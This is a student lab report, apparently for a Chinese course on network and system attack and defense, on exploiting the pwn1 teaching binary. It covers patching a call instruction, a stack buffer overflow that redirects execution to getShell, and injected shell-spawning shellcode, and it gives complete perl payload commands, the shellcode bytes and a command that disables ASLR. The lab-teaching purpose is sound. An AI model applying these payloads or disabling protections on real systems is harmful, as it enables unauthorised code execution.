当前位置: 首页 > news >正文

# 20232313 2025-2026-1 《网络与系统攻防技术》实验一实验报告 - 20232313

一、实验内容

学习通过以下三种方式利用pwn1程序的漏洞执行getShell函数:

  • 篡改程序流程——直接修改可执行文件,跳转至getShell;
  • 栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
  • Shellcode注入——构造恶意输入注入自定义Shellcode并执行。

二、实验过程

(一)基础知识

  1. 基础汇编指令
  • NOP(空指令):CPU不执行任何操作,直接继续下一条指令。(机器码:90)
  • JNE/JE:基于比较结果跳转(机器码75/74)
  • CMP:比较操作数并设置标志位,不保存结果
  • JMP:(无条件跳转)
  1. 反汇编
    反汇编是将机器码(二进制指令)转换为汇编代码的逆向过程,通过反汇编可以查看程序的底层执行逻辑和指令流程。
    本次使用Linux平台的objdump工具分析pwn1可执行文件,
    命令格式:objdump -d 目标文件
    该命令会输出完整的汇编代码段及其内存地址信息。
    本次实验使用xxd作为十六进制编辑器。

(二) 实验过程

  1. 直接修改程序机器指令,改变程序执行流程
    先登录root账户,后修改主机名为203232313.
    再通过VirtualBox的共享文件夹将pwn1文件传输到虚拟机,并修改名字为pwn20232313,如图:
    image
    运行,发现原函数功能是打印输入字段。
    image
    输入命令 objdump -d pwn20232313 | more 对文件反汇编,在其中找到main/foo以及getshell函数:
    image
    image
    根据实验目标,需将call foo修改为call getShell,即把地址8048491替换为getShell的入口地址804847d。
    Call指令的跳转原理是相对跳转,即EIP+偏移量=当前命令地址。由此知道,偏移量=当前命令地址-EIP。
    在这里,getShell作为当前命令地址,计算偏移量:804847d(getShell) - 80484ba = -61,其补码表示为0xffffff3c。由于x86架构采用小端存储,实际需将机器码中的0xd7ffffff修改为0xc3ffffff,即可实现跳转至getShell函数。
    我将文件先复制一份命名为"pwn2",
    image
    后使用%!xxd进入十六进制编辑器将pwn2文件中的d7改成c3,然后使用:%!xxd -r转回原来乱码格式。
    image
    再使用命令objdump -d pwn2| more查看修改结果如下所示,修改成功。
    image
    查看pwn2运行结果如下图,说明getshell函数已实现。
    image
  2. 通过构造输入参数,造成BOF攻击,改变程序执行流
    复制新文件命名为pwn3。
    image
    当程序调用函数 foo 时,会在栈上创建自己的栈帧。由于 foo 函数使用了一个只预留28(0x1c)字节的缓冲区来读取字符串,因此存在缓冲区溢出(Bof)漏洞。
    image
    我们可以通过向该缓冲区输入超出其容量的字符串,覆盖栈上的返回地址,从而将其篡改为 getShell 函数的地址,实现攻击目的。根据反汇编结果,正常情况下,call foo指令会将返回地址0x80484ba压入栈中,而我们的目标就是覆盖这个值,使其指向 getshell 函数的入口地址。
    使用 gdb pwn3 调试程序,输入测试字符串 1111111122222222333333334444444412345678,然后执行 info r查看寄存器状态,发现 EIP(存储下一条指令地址的寄存器)被覆盖为 0x34333231(即字符串 "1234" 的 ASCII 码)。
    image
    image
    通过反汇编已知 getShell 函数的入口地址为 0x0804847d。因此,只需将字符串末尾的 "1234" 替换为该地址的字节表示(小端序),即可让程序在返回时跳转至 getShell,从而达成攻击目的。为了利用缓冲区溢出漏洞,我们需要将返回地址覆盖为getShell函数的地址0x0804847d。
    具体操作是构造一个特定格式的输入字符串:
    首先准备字符串"11111111222222223333333344444444"来填满缓冲区,然后追加目标地址的小端序表示"\x7d\x84\x04\x08"。可以使用以下命令生成包含这个字符串的文件:
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input其中\x0a表示换行符。生成后可以用xxd input命令检查文件内容是否正确,确认地址字节是否按小端序正确排列。最后通过命令(cat input; cat) | ./pwn3将构造的输入传递给目标程序。这个命令会先发送input文件中的payload,然后保持标准输入打开以便交互。当程序执行返回时,就会跳转到我们指定的getShell函数地址,从而达成攻击目的。
    结果如图所示,成功执行getshell获取了shell。
    image
  3. 注入Shellcode并执行
    先做如下准备工作:
    复制一份新的pwn20232313文件,命名为pwn4。
    readelf -l pwn4 | grep -A1 GNU_STACK验证pwn4文件的栈可被执行。
    image
    more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

Linux系统中,构造攻击缓冲区(buf)主要有两种基本方法:
retaddr + nop + shellcode
nop + shellcode + retaddr
以下是构造包含shellcode的输入示例(x1x2x3x4为占位符,后续需替换为foo函数中return address的实际地址,该地址需通过gdb分析确定):
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
将构造的输入传递给目标程序pwn4:
(cat input_shellcode; cat) | ./pwn4
建立新终端,输入ps -ef | grep pwn4,查看pwn4文件的进程以及进程号如下:
image
可以看到,./pwn4 的进程号为 113151。
接下来在新终端中使用 gdb 进行调试:
启动 gdb 并附加到目标进程: gdb pwn4 attach 113151
反编译 foo 函数并分析返回地址位置: disassemble foo
通过反编译结果可定位 foo 函数中 return address 的具体内存地址,用于后续替换x1x2x3x4占位符。
image
通过反汇编分析确定 foo 函数的返回地址为 0x080484ae。在 gdb 中设置断点:break *0x080484ae在新终端输入 c 继续执行程序,此时必须在原始终端按 Enter 键,否则新终端的 continue 会持续等待。通过断点验证返回地址是否被成功覆盖为 getShell 的地址(\x7d\x84\x04\x08),并观察程序跳转流程。
image
通过info r esp命令查看栈顶指针位置,显示当前ESP值为0xffffcfec。使用x/16x 0xffffcfec查看该地址内存内容时,可以看到注入的输入数据0x04030201(即占位符 \x01\x02\x03\x04 的内存表示,说明目标地址正确。后续将占位符替换为getShell的实际地址 0x0804847d(小端序为\x7d\x84\x04\x08)以完成攻击。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcfec。使用x/16x 0xffffcfec命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,说明找的就是这个地址。
image
通过计算,shellcode 的注入地址应为栈顶指针地址0xffffcfec加上 4 字节,即 0xffffcff0。将该地址以小端序格式(\xf0\xcf\xff\xff)替换原占位符 \x01\x02\x03\x04,构造最终的注入字符串:
perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
将构造的输入传递给目标程序:(cat input_shellcode; cat) | ./pwn4
执行 ls 命令后成功显示当前目录文件,确认已通过覆盖返回地址调用 getShell 函数,完成攻击。
image

三、问题及解决方案

  • 问题1:下载不了execstack
  • 问题1解决方案:
    选择使用readelf -l pwn4 | grep -A1 GNU_STACK验证pwn4文件的栈可被执行。好像结果差别不大?
  • 问题2:gdb输入c命令后卡住
  • 问题2解决方案:
    当gdb输入c命令后程序卡住时,需要在运行pwn的原始终端窗口按回车键,这样程序才能继续执行,gdb才能进行后续分析,否则会一直处于等待状态。

四、学习感悟等

首先,我认识到机器指令是小端存储、补码表示。
这次实验我完成了三个任务,分别是直接修改程序机器指令、构造输入参数造成BOF攻击、注入Shellcode。
直接修改程序机器指令让我对x86的Call指令运行方式有了更多的了解,知道了EIP压栈与相对跳转偏移量的工作方式。
输入参数造成BOF攻击则让我明白了如何判断函数是否存在BOF漏洞,以及如何完成简单的BOF攻击。
Shellcode注入我认为是最难的,需要新理解的东西也是最多的,学习过后也是平稳完成了实验。

参考资料

  • 《0x11_MAL_逆向与Bof基础.md》
http://www.hskmm.com/?act=detail&tid=26155

相关文章:

  • 一生一芯学习:PA2:输入输出
  • vector使用中的一个小问题
  • OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering() - 指南
  • 2025.10.7——2绿
  • 完整教程:无人机避障——感知部分(Ubuntu 20.04 复现Vins Fusion跑数据集)胎教级教程
  • 我真的博了
  • 2025.10.6——1绿1蓝
  • 深入解析:人工智能-Chain of Thought Prompting(思维链提示,简称CoT)
  • 年龄排序
  • 二分图最大匹配 输出具体方案
  • 我的联想小新潮7000笔记本的优化
  • Go语言之接口与多态 -《Go语言实战指南》 - 指南
  • 地球科学概论
  • 2025多校冲刺CSP模拟赛4 总结
  • 多路归并、败者树、置换-选择排序、最佳归并树
  • 看vue文档记录(未整理)
  • Spring5笔记
  • 50天50个前端项目 - HTML/CSS和JavaScript实战合集
  • [BalticOI 2002] Tennis Club (Day1) 解题报告
  • 党徽
  • ZKEACMS:基于ASP.Net Core开发的开源免费内容管理系统
  • MySQL面试题汇总
  • 穷人的中国象棋打谱程序
  • 文件系统的层次结构
  • oracle 19c学习笔记2
  • 文件保护
  • 一些数数杂题
  • AI元人文:规则与人文的统一之路
  • 10.7
  • qmd 模拟赛的一道题